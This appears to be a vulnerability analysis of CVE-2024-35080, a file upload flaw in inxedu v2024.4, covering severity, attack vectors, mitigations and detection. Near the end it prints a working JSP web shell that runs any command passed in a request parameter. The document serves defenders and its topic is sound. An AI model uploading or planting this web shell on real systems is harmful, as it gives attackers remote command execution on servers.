Description
An arbitrary file upload vulnerability in the gok4 method of inxedu v2024.4 allows attackers to execute arbitrary code via uploading a crafted .jsp file.
Comprehensive Technical Analysis of CVE-2024-35080
1. Vulnerability Assessment and Severity Evaluation
CVE ID: CVE-2024-35080 CVSS Score: 9.8
The vulnerability in question is an arbitrary file upload flaw in the gok4 method of inxedu version 2024.4. This vulnerability allows attackers to upload a crafted .jsp file, which can lead to arbitrary code execution. The CVSS score of 9.8 indicates a critical severity level, highlighting the potential for significant impact if exploited.
2. Potential Attack Vectors and Exploitation Methods
Attack Vectors:
- Unauthenticated Upload: If the
gok4method does not require authentication, attackers can upload malicious files without needing credentials. - Authenticated Upload: If authentication is required, attackers may exploit weak credentials or use social engineering to gain access.
Exploitation Methods:
- Crafted .jsp File: Attackers can create a
.jspfile containing malicious code designed to execute arbitrary commands on the server. - Web Shell Upload: By uploading a web shell, attackers can gain persistent access to the server, allowing them to execute commands remotely.
3. Affected Systems and Software Versions
Affected Software:
- inxedu v2024.4
Affected Systems:
- Any system running
inxeduversion 2024.4, particularly those with thegok4method exposed to the internet.
4. Recommended Mitigation Strategies
Immediate Actions:
- Patching: Apply the latest security patches provided by the vendor to mitigate the vulnerability.
- Access Control: Implement strict access controls to ensure only authorized users can upload files.
- File Validation: Enforce strict validation on uploaded files to prevent the execution of malicious code.
Long-Term Strategies:
- Regular Audits: Conduct regular security audits to identify and mitigate similar vulnerabilities.
- Intrusion Detection: Deploy intrusion detection systems (IDS) to monitor for suspicious file upload activities.
- User Training: Educate users on the risks of file uploads and the importance of strong passwords and multi-factor authentication (MFA).
5. Impact on Cybersecurity Landscape
The discovery of CVE-2024-35080 underscores the ongoing challenge of securing file upload mechanisms in web applications. This vulnerability can be exploited to gain unauthorized access, execute arbitrary code, and potentially compromise entire systems. The high CVSS score indicates the seriousness of the issue and the need for immediate attention from cybersecurity professionals.
6. Technical Details for Security Professionals
Vulnerability Details:
- Method:
gok4 - File Type:
.jsp - Exploit: Uploading a crafted
.jspfile can lead to arbitrary code execution.
Detection and Response:
- Log Analysis: Monitor server logs for unusual file upload activities, particularly those involving
.jspfiles. - File Integrity Monitoring: Use file integrity monitoring tools to detect unauthorized changes to critical files.
- Incident Response: Develop an incident response plan that includes steps for isolating affected systems, identifying the scope of the breach, and remediating the vulnerability.
Example Exploit Code:
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = "";
while ((line = reader.readLine()) != null) {
output += line + "<br>";
}
}
%>
<html>
<body>
<form method="get">
<input type="text" name="cmd" />
<input type="submit" value="Execute" />
</form>
<pre><%=output %></pre>
</body>
</html>
Conclusion:
CVE-2024-35080 represents a critical vulnerability that requires immediate attention. Organizations using inxedu version 2024.4 should prioritize patching and implementing robust security measures to mitigate the risk of exploitation. Continuous monitoring and regular security assessments are essential to protect against similar threats in the future.
